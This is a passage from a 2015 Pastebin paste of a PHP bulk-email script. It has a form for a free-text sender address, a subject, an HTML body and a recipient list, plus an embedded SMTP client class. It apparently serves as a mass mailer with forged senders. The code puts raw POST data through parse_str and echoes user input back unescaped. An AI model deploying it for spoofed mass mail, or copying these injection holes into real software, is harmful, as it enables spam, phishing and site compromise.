Kyfx

Email PHP - HTML -

May 8th, 2015
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 95.18 KB | None | 0 0
  1. <?php
  2.  
  3. function query_str($params){
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string){
  12. return stripslashes(ltrim(rtrim($string)));
  13. }
  14.  
  15.  
  16.  
  17.  
  18. if(isset($_POST['action'] ) ){
  19.  
  20.  
  21. $b = query_str($_POST);
  22. parse_str($b);
  23. $sslclick=lrtrim($sslclick);
  24. $action=lrtrim($action);
  25. $message=lrtrim($message);
  26. $emaillist=lrtrim($emaillist);
  27. $from=lrtrim($from);
  28. $reconnect=lrtrim($reconnect);
  29. $epriority=lrtrim($epriority);
  30. $my_smtp=lrtrim($my_smtp);
  31. $ssl_port=lrtrim($ssl_port);
  32. $smtp_username=lrtrim($smtp_username);
  33. $smtp_password=lrtrim($smtp_password);
  34. $replyto=lrtrim($replyto);
  35. $subject=lrtrim($subject);
  36. $realname=lrtrim($realname);
  37. $file_name=lrtrim($file);
  38. $urlz=lrtrim($urlz);
  39. $contenttype=lrtrim($contenttype);
  40.  
  41.  
  42. $message = urlencode($message);
  43. $message = ereg_replace("%5C%22", "%22", $message);
  44. $message = urldecode($message);
  45. $message = stripslashes($message);
  46. $subject = stripslashes($subject);
  47. }
  48.  
  49.  
  50.  
  51.  
  52. ?>
  53.  
  54.  
  55. <html>
  56.  
  57.  
  58. <head>
  59.  
  60.  
  61. <title>{*oo*}vs(o_o)</title>
  62.  
  63.  
  64. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  65.  
  66.  
  67. </head>
  68. <body bgcolor="#FFFFFF" text="#000000">
  69. <form name="form1" method="post" action="" enctype="multipart/form-data">
  70.  
  71.  
  72. <table width="100%" border="0" height="407">
  73.  
  74.  
  75. <tr>
  76.  
  77.  
  78. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  79.  
  80.  
  81. <b>
  82.  
  83.  
  84. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  85.  
  86.  
  87. </tr>
  88.  
  89.  
  90. <tr>
  91.  
  92.  
  93. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  94.  
  95.  
  96. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  97.  
  98.  
  99. Email:</font></div>
  100.  
  101.  
  102. </td>
  103.  
  104.  
  105. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  106.  
  107.  
  108. <input type="text" name="from" value="<?=$from;?>" size="30">
  109.  
  110.  
  111. </font></td>
  112.  
  113.  
  114. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  115.  
  116.  
  117. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  118.  
  119.  
  120. Name:</font></div>
  121.  
  122.  
  123. </td>
  124.  
  125.  
  126. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127.  
  128.  
  129. <input type="text" name="realname" value="<?=$realname;?>" size="30">
  130.  
  131.  
  132. </font></td>
  133.  
  134.  
  135. </tr>
  136. <tr>
  137.  
  138.  
  139. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  140.  
  141.  
  142. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  143.  
  144.  
  145. </td>
  146.  
  147.  
  148. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  149.  
  150.  
  151. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  152.  
  153.  
  154. </font></td>
  155.  
  156.  
  157. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  158.  
  159.  
  160. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  161. Email Priority:</font></td>
  162.  
  163.  
  164. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  165.  
  166.  
  167. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  168. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  169. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  170. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  171. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  172. </select></td>
  173.  
  174.  
  175. </tr>
  176.  
  177.  
  178. <tr>
  179.  
  180.  
  181. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  182.  
  183.  
  184. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  185.  
  186.  
  187. </td>
  188.  
  189.  
  190. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  191.  
  192.  
  193. <input type="text" name="subject" value="<?=$subject;?>" size="90">
  194.  
  195.  
  196. </font></td>
  197.  
  198.  
  199. </tr>
  200.  
  201.  
  202. <tr>
  203.  
  204.  
  205. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  206.  
  207.  
  208. &nbsp;</td>
  209.  
  210.  
  211. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  212.  
  213.  
  214. &nbsp;</font></td>
  215.  
  216.  
  217. </tr>
  218.  
  219.  
  220. <tr valign="top">
  221.  
  222.  
  223. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  224.  
  225.  
  226. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  227.  
  228.  
  229. <br>
  230.  
  231.  
  232. <input type="radio" name="contenttype" value="plain" >
  233.  
  234.  
  235. Plain
  236.  
  237.  
  238. <input type="radio" name="contenttype" value="html" checked>
  239.  
  240.  
  241. HTML
  242.  
  243.  
  244. <input type="hidden" name="action" value="send">
  245.  
  246.  
  247. <input type="submit" value="Send Message">
  248.  
  249.  
  250. </font></td>
  251.  
  252.  
  253. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  254.  
  255.  
  256. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  257.  
  258.  
  259. </font></td>
  260.  
  261.  
  262. </tr>
  263.  
  264.  
  265. </table>
  266.  
  267.  
  268. </form>
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275. <?
  276.  
  277.  
  278. if ($action){
  279. if (!$from && !$subject && !$message && !$emaillist){
  280. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  281. die(); }
  282.  
  283.  
  284. class SMTP
  285. {
  286. /**
  287. * SMTP server port
  288. * @var int
  289. */
  290. var $SMTP_PORT = 25;
  291.  
  292.  
  293. /**
  294. * SMTP reply line ending
  295. * @var string
  296. */
  297. var $CRLF = "\r\n";
  298.  
  299.  
  300. /**
  301. * Sets whether debugging is turned on
  302. * @var bool
  303. */
  304. var $do_debug; # the level of debug to perform
  305.  
  306.  
  307. /**
  308. * Sets VERP use on/off (default is off)
  309. * @var bool
  310. */
  311. var $do_verp = false;
  312.  
  313.  
  314. /**#@+
  315. * @access private
  316. */
  317. var $smtp_conn; # the socket to the server
  318. var $error; # error if any on the last call
  319. var $helo_rply; # the reply the server sent to us for HELO
  320. /**#@-*/
  321.  
  322.  
  323. /**
  324. * Initialize the class so that the data is in a known state.
  325. * @access public
  326. * @return void
  327. */
  328. function SMTP() {
  329. $this->smtp_conn = 0;
  330. $this->error = null;
  331. $this->helo_rply = null;
  332.  
  333.  
  334. $this->do_debug = 0;
  335. }
  336.  
  337.  
  338. /*************************************************************
  339. * CONNECTION FUNCTIONS *
  340. ***********************************************************/
  341.  
  342.  
  343. /**
  344. * Connect to the server specified on the port specified.
  345. * If the port is not specified use the default SMTP_PORT.
  346. * If tval is specified then a connection will try and be
  347. * established with the server for that number of seconds.
  348. * If tval is not specified the default is 30 seconds to
  349. * try on the connection.
  350. *
  351. * SMTP CODE SUCCESS: 220
  352. * SMTP CODE FAILURE: 421
  353. * @access public
  354. * @return bool
  355. */
  356. function Connect($host,$port=0,$tval=30) {
  357. # set the error val to null so there is no confusion
  358. $this->error = null;
  359.  
  360.  
  361. # make sure we are __not__ connected
  362. if($this->connected()) {
  363. # ok we are connected! what should we do?
  364. # for now we will just give an error saying we
  365. # are already connected
  366. $this->error = array("error" => "Already connected to a server");
  367. return false;
  368. }
  369.  
  370.  
  371. if(empty($port)) {
  372. $port = $this->SMTP_PORT;
  373. }
  374.  
  375.  
  376. #connect to the smtp server
  377. $this->smtp_conn = fsockopen($host, # the host of the server
  378. $port, # the port to use
  379. $errno, # error number if any
  380. $errstr, # error message if any
  381. $tval); # give up after ? secs
  382. # verify we connected properly
  383. if(empty($this->smtp_conn)) {
  384. $this->error = array("error" => "Failed to connect to server",
  385. "errno" => $errno,
  386. "errstr" => $errstr);
  387. if($this->do_debug >= 1) {
  388. echo "SMTP -> ERROR: " . $this->error["error"] .
  389. ": $errstr ($errno)" . $this->CRLF;
  390. }
  391. return false;
  392. }
  393.  
  394.  
  395. # sometimes the SMTP server takes a little longer to respond
  396. # so we will give it a longer timeout for the first read
  397. // Windows still does not have support for this timeout function
  398. if(substr(PHP_OS, 0, 3) != "WIN")
  399. socket_set_timeout($this->smtp_conn, $tval, 0);
  400.  
  401.  
  402. # get any announcement stuff
  403. $announce = $this->get_lines();
  404.  
  405.  
  406. # set the timeout of any socket functions at 1/10 of a second
  407. //if(function_exists("socket_set_timeout"))
  408. // socket_set_timeout($this->smtp_conn, 0, 100000);
  409.  
  410.  
  411. if($this->do_debug >= 2) {
  412. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  413. }
  414.  
  415.  
  416. return true;
  417. }
  418.  
  419.  
  420. /**
  421. * Performs SMTP authentication. Must be run after running the
  422. * Hello() method. Returns true if successfully authenticated.
  423. * @access public
  424. * @return bool
  425. */
  426. function Authenticate($username, $password) {
  427. // Start authentication
  428. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  429.  
  430.  
  431. $rply = $this->get_lines();
  432. $code = substr($rply,0,3);
  433.  
  434.  
  435. if($code != 334) {
  436. $this->error =
  437. array("error" => "AUTH not accepted from server",
  438. "smtp_code" => $code,
  439. "smtp_msg" => substr($rply,4));
  440. if($this->do_debug >= 1) {
  441. echo "SMTP -> ERROR: " . $this->error["error"] .
  442. ": " . $rply . $this->CRLF;
  443. }
  444. return false;
  445. }
  446.  
  447.  
  448. // Send encoded username
  449. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  450.  
  451.  
  452. $rply = $this->get_lines();
  453. $code = substr($rply,0,3);
  454.  
  455.  
  456. if($code != 334) {
  457. $this->error =
  458. array("error" => "Username not accepted from server",
  459. "smtp_code" => $code,
  460. "smtp_msg" => substr($rply,4));
  461. if($this->do_debug >= 1) {
  462. echo "SMTP -> ERROR: " . $this->error["error"] .
  463. ": " . $rply . $this->CRLF;
  464. }
  465. return false;
  466. }
  467.  
  468.  
  469. // Send encoded password
  470. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  471.  
  472.  
  473. $rply = $this->get_lines();
  474. $code = substr($rply,0,3);
  475.  
  476.  
  477. if($code != 235) {
  478. $this->error =
  479. array("error" => "Password not accepted from server",
  480. "smtp_code" => $code,
  481. "smtp_msg" => substr($rply,4));
  482. if($this->do_debug >= 1) {
  483. echo "SMTP -> ERROR: " . $this->error["error"] .
  484. ": " . $rply . $this->CRLF;
  485. }
  486. return false;
  487. }
  488.  
  489.  
  490. return true;
  491. }
  492.  
  493.  
  494. /**
  495. * Returns true if connected to a server otherwise false
  496. * @access private
  497. * @return bool
  498. */
  499. function Connected() {
  500. if(!empty($this->smtp_conn)) {
  501. $sock_status = socket_get_status($this->smtp_conn);
  502. if($sock_status["eof"]) {
  503. # hmm this is an odd situation... the socket is
  504. # valid but we are not connected anymore
  505. if($this->do_debug >= 1) {
  506. echo "SMTP -> NOTICE:" . $this->CRLF .
  507. "EOF caught while checking if connected";
  508. }
  509. $this->Close();
  510. return false;
  511. }
  512. return true; # everything looks good
  513. }
  514. return false;
  515. }
  516.  
  517.  
  518. /**
  519. * Closes the socket and cleans up the state of the class.
  520. * It is not considered good to use this function without
  521. * first trying to use QUIT.
  522. * @access public
  523. * @return void
  524. */
  525. function Close() {
  526. $this->error = null; # so there is no confusion
  527. $this->helo_rply = null;
  528. if(!empty($this->smtp_conn)) {
  529. # close the connection and cleanup
  530. fclose($this->smtp_conn);
  531. $this->smtp_conn = 0;
  532. }
  533. }
  534.  
  535.  
  536. /***************************************************************
  537. * SMTP COMMANDS *
  538. *************************************************************/
  539.  
  540.  
  541. /**
  542. * Issues a data command and sends the msg_data to the server
  543. * finializing the mail transaction. $msg_data is the message
  544. * that is to be send with the headers. Each header needs to be
  545. * on a single line followed by a <CRLF> with the message headers
  546. * and the message body being seperated by and additional <CRLF>.
  547. *
  548. * Implements rfc 821: DATA <CRLF>
  549. *
  550. * SMTP CODE INTERMEDIATE: 354
  551. * [data]
  552. * <CRLF>.<CRLF>
  553. * SMTP CODE SUCCESS: 250
  554. * SMTP CODE FAILURE: 552,554,451,452
  555. * SMTP CODE FAILURE: 451,554
  556. * SMTP CODE ERROR : 500,501,503,421
  557. * @access public
  558. * @return bool
  559. */
  560. function Data($msg_data) {
  561. $this->error = null; # so no confusion is caused
  562.  
  563.  
  564. if(!$this->connected()) {
  565. $this->error = array(
  566. "error" => "Called Data() without being connected");
  567. return false;
  568. }
  569.  
  570.  
  571. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  572.  
  573.  
  574. $rply = $this->get_lines();
  575. $code = substr($rply,0,3);
  576.  
  577.  
  578. if($this->do_debug >= 2) {
  579. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  580. }
  581.  
  582.  
  583. if($code != 354) {
  584. $this->error =
  585. array("error" => "DATA command not accepted from server",
  586. "smtp_code" => $code,
  587. "smtp_msg" => substr($rply,4));
  588. if($this->do_debug >= 1) {
  589. echo "SMTP -> ERROR: " . $this->error["error"] .
  590. ": " . $rply . $this->CRLF;
  591. }
  592. return false;
  593. }
  594.  
  595.  
  596. # the server is ready to accept data!
  597. # according to rfc 821 we should not send more than 1000
  598. # including the CRLF
  599. # characters on a single line so we will break the data up
  600. # into lines by \r and/or \n then if needed we will break
  601. # each of those into smaller lines to fit within the limit.
  602. # in addition we will be looking for lines that start with
  603. # a period '.' and append and additional period '.' to that
  604. # line. NOTE: this does not count towards are limit.
  605.  
  606.  
  607. # normalize the line breaks so we know the explode works
  608. $msg_data = str_replace("\r\n","\n",$msg_data);
  609. $msg_data = str_replace("\r","\n",$msg_data);
  610. $lines = explode("\n",$msg_data);
  611.  
  612.  
  613. # we need to find a good way to determine is headers are
  614. # in the msg_data or if it is a straight msg body
  615. # currently I am assuming rfc 822 definitions of msg headers
  616. # and if the first field of the first line (':' sperated)
  617. # does not contain a space then it _should_ be a header
  618. # and we can process all lines before a blank "" line as
  619. # headers.
  620. $field = substr($lines[0],0,strpos($lines[0],":"));
  621. $in_headers = false;
  622. if(!empty($field) && !strstr($field," ")) {
  623. $in_headers = true;
  624. }
  625.  
  626.  
  627. $max_line_length = 998; # used below; set here for ease in change
  628.  
  629.  
  630. while(list(,$line) = @each($lines)) {
  631. $lines_out = null;
  632. if($line == "" && $in_headers) {
  633. $in_headers = false;
  634. }
  635. # ok we need to break this line up into several
  636. # smaller lines
  637. while(strlen($line) > $max_line_length) {
  638. $pos = strrpos(substr($line,0,$max_line_length)," ");
  639.  
  640.  
  641. # Patch to fix DOS attack
  642. if(!$pos) {
  643. $pos = $max_line_length - 1;
  644. }
  645.  
  646.  
  647. $lines_out[] = substr($line,0,$pos);
  648. $line = substr($line,$pos + 1);
  649. # if we are processing headers we need to
  650. # add a LWSP-char to the front of the new line
  651. # rfc 822 on long msg headers
  652. if($in_headers) {
  653. $line = "\t" . $line;
  654. }
  655. }
  656. $lines_out[] = $line;
  657.  
  658.  
  659. # now send the lines to the server
  660. while(list(,$line_out) = @each($lines_out)) {
  661. if(strlen($line_out) > 0)
  662. {
  663. if(substr($line_out, 0, 1) == ".") {
  664. $line_out = "." . $line_out;
  665. }
  666. }
  667. fputs($this->smtp_conn,$line_out . $this->CRLF);
  668. }
  669. }
  670.  
  671.  
  672. # ok all the message data has been sent so lets get this
  673. # over with aleady
  674. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  675.  
  676.  
  677. $rply = $this->get_lines();
  678. $code = substr($rply,0,3);
  679.  
  680.  
  681. if($this->do_debug >= 2) {
  682. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  683. }
  684.  
  685.  
  686. if($code != 250) {
  687. $this->error =
  688. array("error" => "DATA not accepted from server",
  689. "smtp_code" => $code,
  690. "smtp_msg" => substr($rply,4));
  691. if($this->do_debug >= 1) {
  692. echo "SMTP -> ERROR: " . $this->error["error"] .
  693. ": " . $rply . $this->CRLF;
  694. }
  695. return false;
  696. }
  697. return true;
  698. }
  699.  
  700.  
  701. /**
  702. * Expand takes the name and asks the server to list all the
  703. * people who are members of the _list_. Expand will return
  704. * back and array of the result or false if an error occurs.
  705. * Each value in the array returned has the format of:
  706. * [ <full-name> <sp> ] <path>
  707. * The definition of <path> is defined in rfc 821
  708. *
  709. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  710. *
  711. * SMTP CODE SUCCESS: 250
  712. * SMTP CODE FAILURE: 550
  713. * SMTP CODE ERROR : 500,501,502,504,421
  714. * @access public
  715. * @return string array
  716. */
  717. function Expand($name) {
  718. $this->error = null; # so no confusion is caused
  719.  
  720.  
  721. if(!$this->connected()) {
  722. $this->error = array(
  723. "error" => "Called Expand() without being connected");
  724. return false;
  725. }
  726.  
  727.  
  728. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  729.  
  730.  
  731. $rply = $this->get_lines();
  732. $code = substr($rply,0,3);
  733.  
  734.  
  735. if($this->do_debug >= 2) {
  736. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  737. }
  738.  
  739.  
  740. if($code != 250) {
  741. $this->error =
  742. array("error" => "EXPN not accepted from server",
  743. "smtp_code" => $code,
  744. "smtp_msg" => substr($rply,4));
  745. if($this->do_debug >= 1) {
  746. echo "SMTP -> ERROR: " . $this->error["error"] .
  747. ": " . $rply . $this->CRLF;
  748. }
  749. return false;
  750. }
  751.  
  752.  
  753. # parse the reply and place in our array to return to user
  754. $entries = explode($this->CRLF,$rply);
  755. while(list(,$l) = @each($entries)) {
  756. $list[] = substr($l,4);
  757. }
  758.  
  759.  
  760. return $list;
  761. }
  762.  
  763.  
  764. /**
  765. * Sends the HELO command to the smtp server.
  766. * This makes sure that we and the server are in
  767. * the same known state.
  768. *
  769. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  770. *
  771. * SMTP CODE SUCCESS: 250
  772. * SMTP CODE ERROR : 500, 501, 504, 421
  773. * @access public
  774. * @return bool
  775. */
  776. function Hello($host="") {
  777. $this->error = null; # so no confusion is caused
  778.  
  779.  
  780. if(!$this->connected()) {
  781. $this->error = array(
  782. "error" => "Called Hello() without being connected");
  783. return false;
  784. }
  785.  
  786.  
  787. # if a hostname for the HELO was not specified determine
  788. # a suitable one to send
  789. if(empty($host)) {
  790. # we need to determine some sort of appopiate default
  791. # to send to the server
  792. $host = "localhost";
  793. }
  794.  
  795.  
  796. // Send extended hello first (RFC 2821)
  797. if(!$this->SendHello("EHLO", $host))
  798. {
  799. if(!$this->SendHello("HELO", $host))
  800. return false;
  801. }
  802.  
  803.  
  804. return true;
  805. }
  806.  
  807.  
  808. /**
  809. * Sends a HELO/EHLO command.
  810. * @access private
  811. * @return bool
  812. */
  813. function SendHello($hello, $host) {
  814. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  815.  
  816.  
  817. $rply = $this->get_lines();
  818. $code = substr($rply,0,3);
  819.  
  820.  
  821. if($this->do_debug >= 2) {
  822. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  823. }
  824.  
  825.  
  826. if($code != 250) {
  827. $this->error =
  828. array("error" => $hello . " not accepted from server",
  829. "smtp_code" => $code,
  830. "smtp_msg" => substr($rply,4));
  831. if($this->do_debug >= 1) {
  832. echo "SMTP -> ERROR: " . $this->error["error"] .
  833. ": " . $rply . $this->CRLF;
  834. }
  835. return false;
  836. }
  837.  
  838.  
  839. $this->helo_rply = $rply;
  840.  
  841.  
  842. return true;
  843. }
  844.  
  845.  
  846. /**
  847. * Gets help information on the keyword specified. If the keyword
  848. * is not specified then returns generic help, ussually contianing
  849. * A list of keywords that help is available on. This function
  850. * returns the results back to the user. It is up to the user to
  851. * handle the returned data. If an error occurs then false is
  852. * returned with $this->error set appropiately.
  853. *
  854. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  855. *
  856. * SMTP CODE SUCCESS: 211,214
  857. * SMTP CODE ERROR : 500,501,502,504,421
  858. * @access public
  859. * @return string
  860. */
  861. function Help($keyword="") {
  862. $this->error = null; # to avoid confusion
  863.  
  864.  
  865. if(!$this->connected()) {
  866. $this->error = array(
  867. "error" => "Called Help() without being connected");
  868. return false;
  869. }
  870.  
  871.  
  872. $extra = "";
  873. if(!empty($keyword)) {
  874. $extra = " " . $keyword;
  875. }
  876.  
  877.  
  878. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  879.  
  880.  
  881. $rply = $this->get_lines();
  882. $code = substr($rply,0,3);
  883.  
  884.  
  885. if($this->do_debug >= 2) {
  886. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  887. }
  888.  
  889.  
  890. if($code != 211 && $code != 214) {
  891. $this->error =
  892. array("error" => "HELP not accepted from server",
  893. "smtp_code" => $code,
  894. "smtp_msg" => substr($rply,4));
  895. if($this->do_debug >= 1) {
  896. echo "SMTP -> ERROR: " . $this->error["error"] .
  897. ": " . $rply . $this->CRLF;
  898. }
  899. return false;
  900. }
  901.  
  902.  
  903. return $rply;
  904. }
  905.  
  906.  
  907. /**
  908. * Starts a mail transaction from the email address specified in
  909. * $from. Returns true if successful or false otherwise. If True
  910. * the mail transaction is started and then one or more Recipient
  911. * commands may be called followed by a Data command.
  912. *
  913. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  914. *
  915. * SMTP CODE SUCCESS: 250
  916. * SMTP CODE SUCCESS: 552,451,452
  917. * SMTP CODE SUCCESS: 500,501,421
  918. * @access public
  919. * @return bool
  920. */
  921. function Mail($from) {
  922. $this->error = null; # so no confusion is caused
  923.  
  924.  
  925. if(!$this->connected()) {
  926. $this->error = array(
  927. "error" => "Called Mail() without being connected");
  928. return false;
  929. }
  930.  
  931.  
  932. $useVerp = ($this->do_verp ? "XVERP" : "");
  933. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  934.  
  935.  
  936. $rply = $this->get_lines();
  937. $code = substr($rply,0,3);
  938.  
  939.  
  940. if($this->do_debug >= 2) {
  941. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  942. }
  943.  
  944.  
  945. if($code != 250) {
  946. $this->error =
  947. array("error" => "MAIL not accepted from server",
  948. "smtp_code" => $code,
  949. "smtp_msg" => substr($rply,4));
  950. if($this->do_debug >= 1) {
  951. echo "SMTP -> ERROR: " . $this->error["error"] .
  952. ": " . $rply . $this->CRLF;
  953. }
  954. return false;
  955. }
  956. return true;
  957. }
  958.  
  959.  
  960. /**
  961. * Sends the command NOOP to the SMTP server.
  962. *
  963. * Implements from rfc 821: NOOP <CRLF>
  964. *
  965. * SMTP CODE SUCCESS: 250
  966. * SMTP CODE ERROR : 500, 421
  967. * @access public
  968. * @return bool
  969. */
  970. function Noop() {
  971. $this->error = null; # so no confusion is caused
  972.  
  973.  
  974. if(!$this->connected()) {
  975. $this->error = array(
  976. "error" => "Called Noop() without being connected");
  977. return false;
  978. }
  979.  
  980.  
  981. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  982.  
  983.  
  984. $rply = $this->get_lines();
  985. $code = substr($rply,0,3);
  986.  
  987.  
  988. if($this->do_debug >= 2) {
  989. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  990. }
  991.  
  992.  
  993. if($code != 250) {
  994. $this->error =
  995. array("error" => "NOOP not accepted from server",
  996. "smtp_code" => $code,
  997. "smtp_msg" => substr($rply,4));
  998. if($this->do_debug >= 1) {
  999. echo "SMTP -> ERROR: " . $this->error["error"] .
  1000. ": " . $rply . $this->CRLF;
  1001. }
  1002. return false;
  1003. }
  1004. return true;
  1005. }
  1006.  
  1007.  
  1008. /**
  1009. * Sends the quit command to the server and then closes the socket
  1010. * if there is no error or the $close_on_error argument is true.
  1011. *
  1012. * Implements from rfc 821: QUIT <CRLF>
  1013. *
  1014. * SMTP CODE SUCCESS: 221
  1015. * SMTP CODE ERROR : 500
  1016. * @access public
  1017. * @return bool
  1018. */
  1019. function Quit($close_on_error=true) {
  1020. $this->error = null; # so there is no confusion
  1021.  
  1022.  
  1023. if(!$this->connected()) {
  1024. $this->error = array(
  1025. "error" => "Called Quit() without being connected");
  1026. return false;
  1027. }
  1028.  
  1029.  
  1030. # send the quit command to the server
  1031. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1032.  
  1033.  
  1034. # get any good-bye messages
  1035. $byemsg = $this->get_lines();
  1036.  
  1037.  
  1038. if($this->do_debug >= 2) {
  1039. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1040. }
  1041.  
  1042.  
  1043. $rval = true;
  1044. $e = null;
  1045.  
  1046.  
  1047. $code = substr($byemsg,0,3);
  1048. if($code != 221) {
  1049. # use e as a tmp var cause Close will overwrite $this->error
  1050. $e = array("error" => "SMTP server rejected quit command",
  1051. "smtp_code" => $code,
  1052. "smtp_rply" => substr($byemsg,4));
  1053. $rval = false;
  1054. if($this->do_debug >= 1) {
  1055. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1056. $byemsg . $this->CRLF;
  1057. }
  1058. }
  1059.  
  1060.  
  1061. if(empty($e) || $close_on_error) {
  1062. $this->Close();
  1063. }
  1064.  
  1065.  
  1066. return $rval;
  1067. }
  1068.  
  1069.  
  1070. /**
  1071. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1072. * Returns true if the recipient was accepted false if it was rejected.
  1073. *
  1074. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1075. *
  1076. * SMTP CODE SUCCESS: 250,251
  1077. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1078. * SMTP CODE ERROR : 500,501,503,421
  1079. * @access public
  1080. * @return bool
  1081. */
  1082. function Recipient($to) {
  1083. $this->error = null; # so no confusion is caused
  1084.  
  1085.  
  1086. if(!$this->connected()) {
  1087. $this->error = array(
  1088. "error" => "Called Recipient() without being connected");
  1089. return false;
  1090. }
  1091.  
  1092.  
  1093. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1094.  
  1095.  
  1096. $rply = $this->get_lines();
  1097. $code = substr($rply,0,3);
  1098.  
  1099.  
  1100. if($this->do_debug >= 2) {
  1101. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1102. }
  1103.  
  1104.  
  1105. if($code != 250 && $code != 251) {
  1106. $this->error =
  1107. array("error" => "RCPT not accepted from server",
  1108. "smtp_code" => $code,
  1109. "smtp_msg" => substr($rply,4));
  1110. if($this->do_debug >= 1) {
  1111. echo "SMTP -> ERROR: " . $this->error["error"] .
  1112. ": " . $rply . $this->CRLF;
  1113. }
  1114. return false;
  1115. }
  1116. return true;
  1117. }
  1118.  
  1119.  
  1120. /**
  1121. * Sends the RSET command to abort and transaction that is
  1122. * currently in progress. Returns true if successful false
  1123. * otherwise.
  1124. *
  1125. * Implements rfc 821: RSET <CRLF>
  1126. *
  1127. * SMTP CODE SUCCESS: 250
  1128. * SMTP CODE ERROR : 500,501,504,421
  1129. * @access public
  1130. * @return bool
  1131. */
  1132. function Reset() {
  1133. $this->error = null; # so no confusion is caused
  1134.  
  1135.  
  1136. if(!$this->connected()) {
  1137. $this->error = array(
  1138. "error" => "Called Reset() without being connected");
  1139. return false;
  1140. }
  1141.  
  1142.  
  1143. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1144.  
  1145.  
  1146. $rply = $this->get_lines();
  1147. $code = substr($rply,0,3);
  1148.  
  1149.  
  1150. if($this->do_debug >= 2) {
  1151. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1152. }
  1153.  
  1154.  
  1155. if($code != 250) {
  1156. $this->error =
  1157. array("error" => "RSET failed",
  1158. "smtp_code" => $code,
  1159. "smtp_msg" => substr($rply,4));
  1160. if($this->do_debug >= 1) {
  1161. echo "SMTP -> ERROR: " . $this->error["error"] .
  1162. ": " . $rply . $this->CRLF;
  1163. }
  1164. return false;
  1165. }
  1166.  
  1167.  
  1168. return true;
  1169. }
  1170.  
  1171.  
  1172. /**
